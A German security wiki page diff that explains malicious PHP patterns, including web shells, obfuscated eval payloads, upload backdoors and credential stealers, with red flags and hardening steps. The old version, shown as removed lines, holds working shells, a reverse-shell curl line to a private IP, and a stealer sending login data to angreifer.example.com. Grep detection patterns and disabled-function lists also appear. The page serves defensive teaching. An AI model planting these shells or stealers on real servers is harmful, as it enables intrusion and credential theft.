Php Malicious: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Der Seiteninhalt wurde durch einen anderen Text ersetzt: „ == Web Shell Backdoors == === Beschreibung === Eine Web Shell ist eine in eine Webapplikation eingeschleuste PHP-Datei, die dem A…“)
Markierung: Ersetzt
Zeile 1: Zeile 1:
−
= Malicious PHP =
 
  
−
Dieser Artikel behandelt die sieben häufigsten Muster von bösartigem PHP-Code.
+
== Web Shell Backdoors ==
−
Für jedes Muster gibt es drei Blickwinkel:
 
−
* '''Was der Angreifer will''' – Ziel und typischer Angriffscode
 
−
* '''Red Flags''' – Erkennungsmerkmale im Code und in Logs
 
−
* '''Gegenmaßnahmen''' – sichere Programmierung, Serverkonfiguration, Scanning
 
  
−
----
+
=== Beschreibung ===
  
−
== 1. Web Shell Backdoors ==
+
Eine Web Shell ist eine in eine Webapplikation eingeschleuste PHP-Datei, die dem Angreifer
 +
eine ferngesteuerte Kommandoausführung auf dem Server ermöglicht – erreichbar über einen
 +
normalen HTTP-Request, ohne SSH- oder FTP-Zugang.
  
 
=== Was der Angreifer will ===
 
=== Was der Angreifer will ===
  
 
Ein verstecktes „Control Panel", das beliebige Systembefehle auf dem Server ausführt.
 
Ein verstecktes „Control Panel", das beliebige Systembefehle auf dem Server ausführt.
−
Der Angreifer braucht dazu keinen SSH- oder FTP-Zugang – ein normaler HTTP-Request reicht.
 
−
Web Shells sind der häufigste Persistenzmechanismus nach einer initialen Kompromittierung,
 
−
z. B. über eine unsichere Datei-Upload-Funktion oder ein veraltetes CMS-Plugin.
 
  
−
==== Minimale Web Shell (GET-Parameter) ====
+
=== Typisches Angriffsmuster ===
 +
 
 +
==== Minimale Web Shell (GET) ====
  
 
<syntaxhighlight lang="php">
 
<syntaxhighlight lang="php">
 
<?php
 
<?php
−
// Dateiname: header.php, img001.php, thumb.php – bewusst unauffällig
 
−
// Ablageort: /uploads/, /images/, /cache/
 
−
// Aufruf:  http://opfer.example.com/uploads/header.php?cmd=id
 
−
 
 
if (isset($_GET['cmd'])) {
 
if (isset($_GET['cmd'])) {
 
     system($_GET['cmd']);
 
     system($_GET['cmd']);
Zeile 31: Zeile 23:
 
?>
 
?>
 
</syntaxhighlight>
 
</syntaxhighlight>
 +
 +
Aufruf durch den Angreifer:
  
 
<syntaxhighlight lang="bash">
 
<syntaxhighlight lang="bash">
−
# Angreifer ruft die Shell auf:
 
 
curl "http://opfer.example.com/uploads/header.php?cmd=id"
 
curl "http://opfer.example.com/uploads/header.php?cmd=id"
−
# Ausgabe: uid=33(www-data) gid=33(www-data) groups=33(www-data)
+
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
  
 
curl "http://opfer.example.com/uploads/header.php?cmd=cat+/etc/passwd"
 
curl "http://opfer.example.com/uploads/header.php?cmd=cat+/etc/passwd"
−
# Ausgabe: root:x:0:0:root:/root:/bin/bash ...
 
−
 
−
# Reverse Shell starten (Angreifer lauscht auf Port 4444):
 
−
curl "http://opfer.example.com/uploads/header.php?cmd=bash+-i+>%26+/dev/tcp/192.168.1.99/4444+0>%261"
 
 
</syntaxhighlight>
 
</syntaxhighlight>
  
−
==== Erweiterte Shell über POST (schwerer im Access-Log erkennbar) ====
+
==== Erweiterte Shell über POST ====
  
−
GET-Parameter landen vollständig im Access-Log. POST-Body wird dort nicht geloggt,
+
POST-Parameter sind im Access-Log schwerer zu erkennen als GET-Parameter:
−
was die Shell schwerer auffindbar macht.
 
  
 
<syntaxhighlight lang="php">
 
<syntaxhighlight lang="php">
 
<?php
 
<?php
−
// POST-Body landet nicht im Apache Access-Log → schwerer zu erkennen
 
 
if (isset($_POST['x'])) {
 
if (isset($_POST['x'])) {
 
     $output = shell_exec($_POST['x'] . ' 2>&1');
 
     $output = shell_exec($_POST['x'] . ' 2>&1');
−
     echo '<pre>' . htmlspecialchars($output) . '</pre>';
+
     echo '<pre>' . $output . '</pre>';
 
}
 
}
 
?>
 
?>
Zeile 63: Zeile 50:
 
     -d 'x=whoami'
 
     -d 'x=whoami'
 
# www-data
 
# www-data
 +
</syntaxhighlight>
  
−
curl -X POST http://opfer.example.com/wp-includes/class-wp-image.php \
+
==== Typische Tarnnamen ====
−
    -d 'x=ls -la /var/www/html'
 
−
</syntaxhighlight>
 
  
−
==== Typische Tarnnamen und Ablageorte ====
+
Angreifer benennen Web Shells gezielt unauffällig:
  
 
<syntaxhighlight lang="bash">
 
<syntaxhighlight lang="bash">
 
/uploads/img001.php
 
/uploads/img001.php
−
/uploads/2024/photo.php
 
 
/images/header.php
 
/images/header.php
 
/cache/.thumbs.php          # führender Punkt → unsichtbar ohne ls -a
 
/cache/.thumbs.php          # führender Punkt → unsichtbar ohne ls -a
 
/wp-includes/class-wp-image.php
 
/wp-includes/class-wp-image.php
−
/wp-content/plugins/contact-form/assets/js/jquery.min.php
 
 
</syntaxhighlight>
 
</syntaxhighlight>
  
 
=== Red Flags ===
 
=== Red Flags ===
  
−
* <code>system()</code>, <code>exec()</code>, <code>shell_exec()</code>, <code>passthru()</code>, <code>popen()</code>
+
* <code>system()</code>, <code>exec()</code>, <code>shell_exec()</code>, <code>passthru()</code>
−
* Direkter Zugriff auf <code>$_GET</code>, <code>$_POST</code>, <code>$_REQUEST</code> ohne jede Validierung
+
* Direkter Zugriff auf <code>$_GET</code>, <code>$_POST</code> oder <code>$_REQUEST</code> ohne Validierung
−
* Keine Authentifizierung vor der Ausführung
+
* Keine Authentifizierung
 
* PHP-Dateien in <code>/uploads/</code>, <code>/images/</code>, <code>/cache/</code>
 
* PHP-Dateien in <code>/uploads/</code>, <code>/images/</code>, <code>/cache/</code>
−
* Dateinamen die legitime Dateien imitieren (<code>image.php</code>, <code>header.php</code>)
 
  
 
=== Gegenmaßnahmen ===
 
=== Gegenmaßnahmen ===
  
−
==== Unsicherer Upload-Code (so entsteht das Problem) ====
+
==== Gefährliche Funktionen in php.ini deaktivieren ====
  
−
<syntaxhighlight lang="php">
+
<syntaxhighlight lang="ini">
−
<?php
+
; /etc/php/8.2/apache2/php.ini
−
// UNSICHER – keinerlei Validierung, PHP-Datei landet direkt im Webroot
+
disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec
−
if ($_FILES['upload']['error'] === UPLOAD_ERR_OK) {
 
−
    move_uploaded_file(
 
−
        $_FILES['upload']['tmp_name'],
 
−
        '/var/www/html/uploads/' . $_FILES['upload']['name']
 
−
    );
 
−
    echo "Upload erfolgreich.";
 
−
}
 
−
?>
 
 
</syntaxhighlight>
 
</syntaxhighlight>
  
−
==== Sicherer Upload-Code ====
+
<syntaxhighlight lang="bash">
 +
systemctl restart apache2
  
−
<syntaxhighlight lang="php">
+
# Test:
−
<?php
+
php -r "system('id');"
−
// SICHER – Whitelist, Umbenennung, Upload außerhalb Webroot
+
# PHP Warning: system() has been disabled for security reasons
−
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif'];
 
−
$upload_dir  = '/var/data/uploads/';  // außerhalb /var/www/html !
 
−
 
 
−
if ($_FILES['upload']['error'] !== UPLOAD_ERR_OK) {
 
−
    die("Upload-Fehler.");
 
−
}
 
−
 
 
−
// MIME-Typ prüfen (nicht nur Dateiendung!)
 
−
$finfo = new finfo(FILEINFO_MIME_TYPE);
 
−
$mime  = $finfo->file($_FILES['upload']['tmp_name']);
 
−
 
 
−
if (!in_array($mime, $allowed_mime, true)) {
 
−
    die("Unerlaubter Dateityp: " . htmlspecialchars($mime));
 
−
}
 
−
 
 
−
// Dateiname komplett neu generieren – Original-Name wird verworfen
 
−
$ext      = 'jpg'; // Endung aus Whitelist, nicht aus Original-Name
 
−
$new_name = bin2hex(random_bytes(16)) . '.' . $ext;
 
−
 
 
−
move_uploaded_file($_FILES['upload']['tmp_name'], $upload_dir . $new_name);
 
−
echo "Upload gespeichert als: " . htmlspecialchars($new_name);
 
−
?>
 
 
</syntaxhighlight>
 
</syntaxhighlight>
  
−
==== PHP-Ausführung in Upload-Verzeichnissen serverseitig unterbinden ====
+
==== PHP-Ausführung in Upload-Verzeichnissen unterbinden ====
  
 
<syntaxhighlight lang="apache">
 
<syntaxhighlight lang="apache">
Zeile 141: Zeile 95:
 
         Require all denied
 
         Require all denied
 
     </FilesMatch>
 
     </FilesMatch>
−
    # Alternativ: PHP-Engine komplett aus
 
−
    php_flag engine off
 
 
</Directory>
 
</Directory>
 
</syntaxhighlight>
 
</syntaxhighlight>
Zeile 149: Zeile 101:
 
a2enconf no-php-uploads
 
a2enconf no-php-uploads
 
systemctl reload apache2
 
systemctl reload apache2
−
</syntaxhighlight>
 
−
 
−
==== Gefährliche Funktionen in php.ini deaktivieren ====
 
−
 
−
<syntaxhighlight lang="ini">
 
−
; /etc/php/8.2/apache2/php.ini
 
−
disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec
 
−
</syntaxhighlight>
 
−
 
−
<syntaxhighlight lang="bash">
 
−
systemctl restart apache2
 
−
 
−
# Prüfen ob die Sperre greift:
 
−
php -r "system('id');"
 
−
# PHP Warning: system() has been disabled for security reasons
 
 
</syntaxhighlight>
 
</syntaxhighlight>
  
Zeile 169: Zeile 106:
  
 
<syntaxhighlight lang="apache">
 
<syntaxhighlight lang="apache">
−
# Requests mit Shell-typischen Parameternamen blockieren
+
SecRule ARGS_NAMES "@rx ^(cmd|exec|command|shell)$" \
−
SecRule ARGS_NAMES "@rx ^(cmd|exec|command|shell|pass|c)$" \
+
     "id:1001,phase:2,deny,status:403,msg:'Web Shell Parameter detected'"
−
     "id:1001,phase:2,deny,status:403,log,msg:'Web Shell Parameter detected'"
 
 
</syntaxhighlight>
 
</syntaxhighlight>
  
−
==== Web Shells im Filesystem aufspüren ====
+
==== Nach Web Shells suchen ====
  
 
<syntaxhighlight lang="bash">
 
<syntaxhighlight lang="bash">
−
# PHP-Dateien mit Shell-Funktionen durchsuchen
+
# PHP-Dateien mit Shell-Funktionen im Webroot
 
grep -rn --include="*.php" \
 
grep -rn --include="*.php" \
 
     -e "system\s*(" \
 
     -e "system\s*(" \
Zeile 188: Zeile 124:
 
find /var/www/html/uploads -name "*.php" -type f
 
find /var/www/html/uploads -name "*.php" -type f
  
−
# Versteckte PHP-Dateien (Punkt am Anfang)
+
# Kürzlich geänderte PHP-Dateien
−
find /var/www/html -name ".*.php" -type f
+
find /var/www/html -name "*.php" -mtime -7
−
 
 
−
# Kürzlich geänderte PHP-Dateien (letzte 7 Tage)
 
−
find /var/www/html -name "*.php" -mtime -7 -ls
 
−
 
 
−
# Access-Log: Requests auf PHP-Dateien in Upload-Verzeichnissen
 
−
grep -E "/(uploads|images|cache)/.*\.php" /var/log/apache2/access.log
 
−
 
 
−
# Access-Log: Shell-typische GET-Parameter
 
−
grep -E "(cmd|exec|command|shell)=" /var/log/apache2/access.log
 
−
</syntaxhighlight>
 
−
 
 
−
----
 
−
 
 
−
== 2. Obfuscated Malware ==
 
−
 
 
−
=== Was der Angreifer will ===
 
−
 
 
−
Den eigentlichen Schadcode so verschleiern, dass weder automatische Scanner noch
 
−
menschliche Code-Reviews ihn auf den ersten Blick erkennen.
 
−
Obfuskierung ist kein eigenständiger Angriff – sie ist fast immer die Tarnung für
 
−
einen anderen Angriffstyp: Web Shell, Credential Stealer oder Remote Downloader.
 
−
Je mehr Encoding-Ebenen, desto länger bleibt die Shell unentdeckt.
 
−
 
 
−
==== Stufe 1: Einfaches Base64 + eval ====
 
−
 
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// Klartext des Payloads: system($_GET['cmd']);
 
−
// Kodiert mit: echo -n "system(\$_GET['cmd']);" | base64
 
−
 
 
−
$payload = base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7');
 
−
eval($payload);
 
−
?>
 
−
</syntaxhighlight>
 
−
 
 
−
<syntaxhighlight lang="bash">
 
−
# Analyse – Payload dekodieren ohne ihn auszuführen:
 
−
echo 'c3lzdGVtKCRfR0VUWydjbWQnXSk7' | base64 -d
 
−
# system($_GET['cmd']);
 
−
</syntaxhighlight>
 
−
 
 
−
==== Stufe 2: Mehrfach-Encoding (Base64 + gzip) ====
 
−
 
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// Payload: system($_GET['cmd']);
 
−
// Erst gzip-komprimiert, dann base64-kodiert
 
−
// Erstellt mit: echo -n "system(\$_GET['cmd']);" | gzip | base64
 
−
 
 
−
$encoded = 'H4sIAAAAAAAAA8tILUpVslIqS8wpTgUANbKBrA8AAAA=';
 
−
$payload = gzinflate(base64_decode($encoded));
 
−
eval($payload);
 
−
?>
 
−
</syntaxhighlight>
 
−
 
 
−
<syntaxhighlight lang="bash">
 
−
# Dekodieren:
 
−
echo 'H4sIAAAAAAAAA8tILUpVslIqS8wpTgUANbKBrA8AAAA=' | base64 -d | gunzip
 
−
# system($_GET['cmd']);
 
−
</syntaxhighlight>
 
−
 
 
−
==== Stufe 3: str_rot13 (Zeichenrotation) ====
 
−
 
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// rot13("system") = "flfgrz"
 
−
// Kein Base64 → umgeht simple base64-Signaturen in Scannern
 
−
 
 
−
$func = str_rot13('flfgrz');      // ergibt: system
 
−
$arg  = str_rot13($_GET['pzq']);  // rot13("cmd") = "pzq"
 
−
$func($arg);
 
−
?>
 
−
</syntaxhighlight>
 
−
 
 
−
<syntaxhighlight lang="bash">
 
−
# Aufruf:
 
−
curl "http://opfer.example.com/cache/img.php?pzq=id"
 
−
# uid=33(www-data) ...
 
−
 
 
−
# Analyse:
 
−
php -r "echo str_rot13('flfgrz');"
 
−
# system
 
−
</syntaxhighlight>
 
−
 
 
−
==== Stufe 4: Variable Funktionsnamen (kein klarer Funktionsname im Code) ====
 
−
 
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// Kein einziger bekannter Funktionsname im Code sichtbar
 
−
$a = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); // "system"
 
−
$b = $_GET['x'];
 
−
$a($b);
 
−
?>
 
−
</syntaxhighlight>
 
−
 
 
−
<syntaxhighlight lang="bash">
 
−
# ASCII-Werte nachvollziehen:
 
−
php -r "echo chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);"
 
−
# system
 
−
</syntaxhighlight>
 
−
 
 
−
==== Stufe 5: Praxisbeispiel – Leafmailer-Webshell (reales Muster aus WordPress-Kompromittierungen) ====
 
−
 
 
−
Dieses Muster wurde in kompromittierten WordPress-Installationen als scheinbar
 
−
harmlose Mailer-Datei gefunden:
 
−
 
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// Dateiname: class-phpmailer.php – imitiert legitime WordPress-Datei
 
−
// Obfuskierungstechniken kombiniert: str_replace + base64 im Parameter
 
−
 
 
−
$fn = str_replace('_', '', 'sy_st_em');              // ergibt: system
 
−
$p  = @$_POST[base64_decode('Y21k')];                // base64("cmd") = "cmd"
 
−
if (isset($p)) {
 
−
    @$fn($p);
 
−
}
 
−
?>
 
−
</syntaxhighlight>
 
−
 
 
−
<syntaxhighlight lang="bash">
 
−
# base64("cmd") nachvollziehen:
 
−
echo 'Y21k' | base64 -d
 
−
# cmd
 
−
 
 
−
# Aufruf:
 
−
curl -X POST http://opfer.example.com/wp-includes/class-phpmailer.php \
 
−
    -d 'cmd=id'
 
−
</syntaxhighlight>
 
−
 
 
−
=== Red Flags ===
 
−
 
 
−
* <code>eval()</code> – führt beliebigen PHP-Code zur Laufzeit aus
 
−
* <code>base64_decode()</code> kombiniert mit <code>eval()</code> – klassisches Obfuskierungsmuster
 
−
* <code>gzinflate()</code>, <code>gzuncompress()</code>, <code>str_rot13()</code>
 
−
* <code>assert()</code> – verhält sich wie <code>eval()</code>, wird seltener gefiltert
 
−
* <code>create_function()</code> – veraltete Alternative zu anonymen Funktionen, häufig in altem Malware-Code
 
−
* Strings über 500 Zeichen ohne Leerzeichen – Hinweis auf eingebetteten Payload
 
−
* <code>chr()</code>-Verkettungen zur Rekonstruktion von Funktionsnamen
 
−
* <code>preg_replace()</code> mit <code>/e</code>-Modifier (PHP < 7.0) – führt Replacement als PHP-Code aus
 
−
 
 
−
=== Gegenmaßnahmen ===
 
−
 
 
−
==== Unsicherer Code (so sieht Obfuskierung in einem eigentlich harmlosen Kontext aus) ====
 
−
 
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// UNSICHER – eval mit Benutzereingabe, auch ohne Obfuskierung gefährlich
 
−
$template = $_GET['tpl'];
 
−
eval('echo "' . $template . '";');
 
−
// Angreifer gibt ein: "; system('id'); echo "
 
−
?>
 
−
</syntaxhighlight>
 
−
 
 
−
==== Sicherer Code – eval grundsätzlich vermeiden ====
 
−
 
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// SICHER – Template-Logik ohne eval
 
−
$allowed_templates = ['home', 'about', 'contact'];
 
−
$tpl = $_GET['tpl'] ?? 'home';
 
−
 
 
−
if (!in_array($tpl, $allowed_templates, true)) {
 
−
    die("Unbekanntes Template.");
 
−
}
 
−
 
 
−
// Datei mit festem Pfad einbinden – kein User-Input im Pfad
 
−
include __DIR__ . '/templates/' . $tpl . '.php';
 
−
?>
 
−
</syntaxhighlight>
 
−
 
 
−
==== disable_functions in php.ini ====
 
−
 
 
−
<syntaxhighlight lang="ini">
 
−
; /etc/php/8.2/apache2/php.ini
 
−
; Hinweis: eval() ist ein Sprachkonstrukt, KEIN Funktionsaufruf
 
−
; → es kann NICHT über disable_functions deaktiviert werden
 
−
; assert() und create_function() hingegen schon:
 
−
disable_functions = assert, create_function
 
−
</syntaxhighlight>
 
−
 
 
−
==== Obfuszierten Code aufspüren ====
 
−
 
 
−
<syntaxhighlight lang="bash">
 
−
# eval() mit Encoding-Funktionen kombiniert
 
−
grep -rn --include="*.php" \
 
−
    -e "eval\s*(base64_decode" \
 
−
    -e "eval\s*(gzinflate" \
 
−
    -e "eval\s*(str_rot13" \
 
−
    -e "assert\s*(" \
 
−
    -e "create_function" \
 
−
    /var/www/html/
 
−
 
 
−
# Sehr lange Strings (Payload-Indikator) – minifizierte legitime Dateien ausschließen
 
−
grep -rn --include="*.php" -P '.{500,}' /var/www/html/ | grep -v "\.min\.php"
 
  
−
# chr()-Verkettungen (Funktionsnamen-Rekonstruktion)
+
# Requests auf Upload-Verzeichnisse im Access-Log
−
grep -rn --include="*.php" "chr([0-9]\+)" /var/www/html/
+
grep "uploads/.*\.php" /var/log/apache2/access.log
 
</syntaxhighlight>
 
</syntaxhighlight>
−
 
−
==== Payload manuell dekodieren (ohne Ausführung) ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# Base64 dekodieren
 
−
echo 'ENCODED_STRING' | base64 -d
 
−
 
−
# Base64 + gzip
 
−
echo 'ENCODED_STRING' | base64 -d | gunzip 2>/dev/null
 
−
 
−
# PHP-Oneliner zur Analyse (kein eval!)
 
−
php -r "echo base64_decode('ENCODED_STRING');"
 
−
php -r "echo gzinflate(base64_decode('ENCODED_STRING'));"
 
−
php -r "echo str_rot13('ENCODED_STRING');"
 
−
</syntaxhighlight>
 
−
 
−
==== ClamAV und Maldet ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# ClamAV installieren und aktualisieren
 
−
apt install clamav
 
−
freshclam
 
−
 
−
# PHP-Dateien scannen
 
−
clamscan -r --include="*.php" /var/www/html/
 
−
 
−
# Linux Malware Detect (Maldet)
 
−
wget https://www.rfxn.com/downloads/maldetect-current.tar.gz
 
−
tar xzf maldetect-current.tar.gz
 
−
cd maldetect-*/
 
−
./install.sh
 
−
 
−
# Scan starten
 
−
maldet --scan-all /var/www/html/
 
−
maldet --report list
 
−
</syntaxhighlight>
 
−
 
−
----
 
−
 
−
== 3. File Upload Backdoors ==
 
−
 
−
=== Was der Angreifer will ===
 
−
 
−
Eine PHP-Datei als Bild oder Dokument getarnt hochladen und anschließend als
 
−
Web Shell ausführen. Das Ziel ist, durch eine fehlerhaft implementierte
 
−
Upload-Funktion eine ausführbare Datei in ein öffentlich erreichbares Verzeichnis
 
−
zu platzieren.
 
−
 
−
==== Angriff: Datei mit doppelter Endung ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# Angreifer lädt eine Datei namens "shell.php.jpg" hoch
 
−
# Falls der Server nur die letzte Endung prüft → wird als Bild akzeptiert
 
−
# Falls Apache mit AddHandler oder MultiViews konfiguriert ist → wird als PHP ausgeführt
 
−
 
−
curl -F "file=@shell.php.jpg" http://opfer.example.com/upload.php
 
−
# Datei landet in /uploads/shell.php.jpg
 
−
 
−
# Ausführung als PHP (bei fehlerhafter Apache-Konfiguration):
 
−
curl "http://opfer.example.com/uploads/shell.php.jpg?cmd=id"
 
−
</syntaxhighlight>
 
−
 
−
==== Angriff: PHP-Datei mit gefälschtem MIME-Type ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# Content-Type-Header wird vom Angreifer manipuliert – server-side MIME-Prüfung fehlt
 
−
curl -X POST http://opfer.example.com/upload.php \
 
−
    -F "file=@webshell.php;type=image/jpeg"
 
−
# Server akzeptiert die Datei weil Content-Type = image/jpeg → landet als .php im Webroot
 
−
</syntaxhighlight>
 
−
 
−
==== Unsicherer Upload-Code (das eigentliche Problem) ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// UNSICHER – nur Content-Type aus dem Request geprüft (vom Angreifer frei wählbar)
 
−
if ($_FILES['file']['type'] === 'image/jpeg') {
 
−
    move_uploaded_file(
 
−
        $_FILES['file']['tmp_name'],
 
−
        '/var/www/html/uploads/' . $_FILES['file']['name']  // Original-Name → gefährlich
 
−
    );
 
−
    echo "Upload OK";
 
−
}
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
=== Red Flags ===
 
−
 
−
* <code>$_FILES['x']['type']</code> wird ohne serverseitige MIME-Prüfung verwendet
 
−
* <code>move_uploaded_file()</code> mit Original-Dateiname (<code>$_FILES['x']['name']</code>)
 
−
* Upload-Ziel liegt innerhalb des Webroot
 
−
* Keine Prüfung der Dateiendung gegen eine Whitelist
 
−
* Dateinamen wie <code>shell.php.jpg</code>, <code>image.png.php</code> in Upload-Logs
 
−
 
−
=== Gegenmaßnahmen ===
 
−
 
−
==== Sicherer Upload-Code ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// SICHER – serverseitige MIME-Prüfung, Whitelist, Umbenennung, Upload außerhalb Webroot
 
−
 
−
$allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
 
−
$upload_dir        = '/var/data/uploads/';  // NICHT innerhalb /var/www/html !
 
−
 
−
// Fehlerprüfung
 
−
if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
 
−
    http_response_code(400);
 
−
    die("Kein gültiger Upload.");
 
−
}
 
−
 
−
// MIME-Typ serverseitig prüfen – NICHT $_FILES['file']['type'] verwenden!
 
−
// fileinfo liest die Magic Bytes der Datei selbst
 
−
$finfo = new finfo(FILEINFO_MIME_TYPE);
 
−
$mime  = $finfo->file($_FILES['file']['tmp_name']);
 
−
 
−
if (!in_array($mime, $allowed_mime_types, true)) {
 
−
    http_response_code(415);
 
−
    die("Dateityp nicht erlaubt: " . htmlspecialchars($mime));
 
−
}
 
−
 
−
// Dateiendung aus MIME ableiten – Original-Name wird komplett verworfen
 
−
$mime_to_ext = [
 
−
    'image/jpeg' => 'jpg',
 
−
    'image/png'  => 'png',
 
−
    'image/gif'  => 'gif',
 
−
    'image/webp' => 'webp',
 
−
];
 
−
$ext      = $mime_to_ext[$mime];
 
−
$new_name = bin2hex(random_bytes(16)) . '.' . $ext;  // zufälliger Name
 
−
 
−
if (!move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . $new_name)) {
 
−
    http_response_code(500);
 
−
    die("Speichern fehlgeschlagen.");
 
−
}
 
−
 
−
echo "Gespeichert als: " . htmlspecialchars($new_name);
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
==== PHP-Ausführung in Upload-Verzeichnis deaktivieren ====
 
−
 
−
<syntaxhighlight lang="apache">
 
−
# /etc/apache2/conf-available/no-php-uploads.conf
 
−
<Directory /var/www/html/uploads>
 
−
    php_flag engine off
 
−
    <FilesMatch "\.php[0-9]?$">
 
−
        Require all denied
 
−
    </FilesMatch>
 
−
    # Auch .phtml, .phar blockieren:
 
−
    <FilesMatch "\.(phtml|phar|php3|php4|php5|php7)$">
 
−
        Require all denied
 
−
    </FilesMatch>
 
−
</Directory>
 
−
</syntaxhighlight>
 
−
 
−
<syntaxhighlight lang="bash">
 
−
a2enconf no-php-uploads
 
−
systemctl reload apache2
 
−
</syntaxhighlight>
 
−
 
−
==== Apache: Gefährliche MultiViews-Konfiguration vermeiden ====
 
−
 
−
<syntaxhighlight lang="apache">
 
−
# MultiViews kann dazu führen dass shell.php.jpg als PHP ausgeführt wird
 
−
# SICHER: MultiViews deaktivieren
 
−
<Directory /var/www/html>
 
−
    Options -MultiViews
 
−
</Directory>
 
−
 
−
# Gefährliche AddHandler-Direktiven vermeiden:
 
−
# UNSICHER (niemals so konfigurieren):
 
−
# AddHandler application/x-httpd-php .php .php5 .phtml .phar
 
−
</syntaxhighlight>
 
−
 
−
==== Suche nach Upload-Backdoors ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# PHP-Dateien in Upload-Verzeichnissen
 
−
find /var/www/html/uploads -name "*.php*" -type f
 
−
find /var/www/html/uploads -name "*.phar" -type f
 
−
find /var/www/html/uploads -name "*.phtml" -type f
 
−
 
−
# Dateien mit doppelter Endung
 
−
find /var/www/html/uploads -name "*.php.*" -type f
 
−
 
−
# Access-Log: PHP-Aufrufe aus Upload-Verzeichnis
 
−
grep -E "/(uploads|files|media)/.*\.(php|phar|phtml)" /var/log/apache2/access.log
 
−
</syntaxhighlight>
 
−
 
−
----
 
−
 
−
== 4. Credential & Data Stealers ==
 
−
 
−
=== Was der Angreifer will ===
 
−
 
−
Admin-Passwörter, Session-Cookies und Datenbankzugangsdaten stehlen.
 
−
Der Angreifer modifiziert dazu bestehende Login-Formulare oder fügt Code in
 
−
zentrale Include-Dateien ein, der Zugangsdaten im Hintergrund mitloggt oder
 
−
an einen externen Server sendet – ohne dass der legitime Benutzer etwas bemerkt.
 
−
 
−
==== Variante 1: Credentials in versteckte Datei schreiben ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// Eingeschleust in eine Login-Seite (z. B. wp-login.php, index.php)
 
−
// Loggt Benutzername + Passwort + IP in eine versteckte Datei
 
−
 
−
if (isset($_POST['log']) && isset($_POST['pwd'])) {
 
−
    $log_file = $_SERVER['DOCUMENT_ROOT'] . '/.cache/tmp/.data';
 
−
    $entry    = date('Y-m-d H:i:s') . ' | '
 
−
              . $_SERVER['REMOTE_ADDR'] . ' | '
 
−
              . $_POST['log'] . ' | '
 
−
              . $_POST['pwd'] . "\n";
 
−
    file_put_contents($log_file, $entry, FILE_APPEND);
 
−
}
 
−
// Danach normaler Login-Code – Opfer bemerkt nichts
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# Angreifer liest die gesammelte Log-Datei aus (über Web Shell oder direkten Zugriff):
 
−
curl "http://opfer.example.com/.cache/tmp/.data"
 
−
# 2024-05-01 14:23:11 | 192.168.1.50 | admin | SuperSecret123
 
−
</syntaxhighlight>
 
−
 
−
==== Variante 2: Credentials per HTTP an externen Server senden ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// Eingeschleust in functions.php oder eine zentrale Include-Datei
 
−
// Sendet Credentials sofort an Angreifer-Server
 
−
 
−
if (!empty($_POST)) {
 
−
    $data = http_build_query($_POST);
 
−
    // file_get_contents mit URL benötigt allow_url_fopen = On
 
−
    @file_get_contents('http://angreifer.example.com/collect.php?' . $data);
 
−
    // Alternativ mit curl (funktioniert auch wenn allow_url_fopen = Off):
 
−
    // $ch = curl_init('http://angreifer.example.com/collect.php');
 
−
    // curl_setopt($ch, CURLOPT_POST, 1);
 
−
    // curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
 
−
    // curl_exec($ch);
 
−
}
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
==== Variante 3: Session-Cookie stehlen ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// Eingeschleust in eine Seite die nach dem Login aufgerufen wird
 
−
// Stiehlt den Session-Cookie des angemeldeten Benutzers
 
−
 
−
if (isset($_COOKIE['PHPSESSID'])) {
 
−
    $stolen = date('Y-m-d H:i:s') . ' | '
 
−
            . $_SERVER['REMOTE_ADDR'] . ' | '
 
−
            . 'PHPSESSID=' . $_COOKIE['PHPSESSID'] . "\n";
 
−
    file_put_contents('/tmp/.sessions', $stolen, FILE_APPEND);
 
−
}
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# Mit gestohlenem Cookie einloggen ohne Passwort:
 
−
curl -b "PHPSESSID=abc123gestohlen" http://opfer.example.com/wp-admin/
 
−
</syntaxhighlight>
 
−
 
−
=== Red Flags ===
 
−
 
−
* Schreibzugriffe auf Dateien in <code>/tmp/</code>, <code>/.cache/</code>, versteckte Dateien (<code>.data</code>, <code>.log</code>)
 
−
* <code>file_put_contents()</code> oder <code>fwrite()</code> mit <code>$_POST</code>/<code>$_GET</code>-Inhalten
 
−
* Unerwartete ausgehende HTTP-Requests (<code>file_get_contents(URL)</code>, <code>curl_exec()</code>)
 
−
* Unbekannte Logdateien mit Credentials-ähnlichem Inhalt
 
−
* Modifikation von Login-Dateien (<code>wp-login.php</code>, <code>index.php</code>)
 
−
 
−
=== Gegenmaßnahmen ===
 
−
 
−
==== Passwörter niemals im Klartext verarbeiten ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
